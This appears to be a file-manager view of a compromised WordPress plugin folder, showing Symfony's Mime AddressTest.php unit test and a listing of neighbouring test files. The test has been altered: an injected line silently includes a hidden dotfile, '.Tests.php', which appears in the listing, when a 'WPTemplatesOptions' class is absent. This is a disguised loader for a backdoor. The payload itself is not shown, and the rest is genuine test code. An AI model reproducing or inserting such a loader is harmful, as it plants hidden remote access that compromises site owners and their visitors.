PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
vendor
/
symfony
/
mime
/
Tests
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime\Tests; use PHPUnit\Framework\TestCase; use Symfony\Component\Mime\Address; use Symfony\Component\Mime\NamedAddress; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class AddressTest extends TestCase { public function testConstructor() { $a = new Address('fabien@symfonï.com'); $this->assertEquals('fabien@symfonï.com', $a->getAddress()); $this->assertEquals('fabien@xn--symfon-nwa.com', $a->toString()); $this->assertEquals('fabien@xn--symfon-nwa.com', $a->getEncodedAddress()); } public function testConstructorWithInvalidAddress() { $this->expectException(\InvalidArgumentException::class); new Address('fab pot@symfony.com'); } public function testCreate() { $this->assertSame($a = new Address('fabien@symfony.com'), Address::create($a)); $this->assertSame($b = new NamedAddress('helene@symfony.com', 'Helene'), Address::create($b)); $this->assertEquals($a, Address::create('fabien@symfony.com')); } public function testCreateWrongArg() { $this->expectException(\InvalidArgumentException::class); Address::create(new \stdClass()); } public function testCreateArray() { $fabien = new Address('fabien@symfony.com'); $helene = new NamedAddress('helene@symfony.com', 'Helene'); $this->assertSame([$fabien, $helene], Address::createArray([$fabien, $helene])); $this->assertEquals([$fabien], Address::createArray(['fabien@symfony.com'])); } public function testCreateArrayWrongArg() { $this->expectException(\InvalidArgumentException::class); Address::createArray([new \stdClass()]); } }
[+]
..
[+]
Fixtures
[-] FileBinaryMimeTypeGuesserTest.php
[edit]
[-] MimeTypesTest.php
[edit]
[+]
Header
[-] RawMessageTest.php
[edit]
[+]
DependencyInjection
[-] FileinfoMimeTypeGuesserTest.php
[edit]
[+]
Part
[-] .Tests.php
[edit]
[+]
Encoder
[-] AbstractMimeTypeGuesserTest.php
[edit]
[-] AddressTest.php
[edit]
[-] NamedAddressTest.php
[edit]
[-] EmailTest.php
[edit]
[-] MessageTest.php
[edit]
[-] MessageConverterTest.php
[edit]
[-] CharacterStreamTest.php
[edit]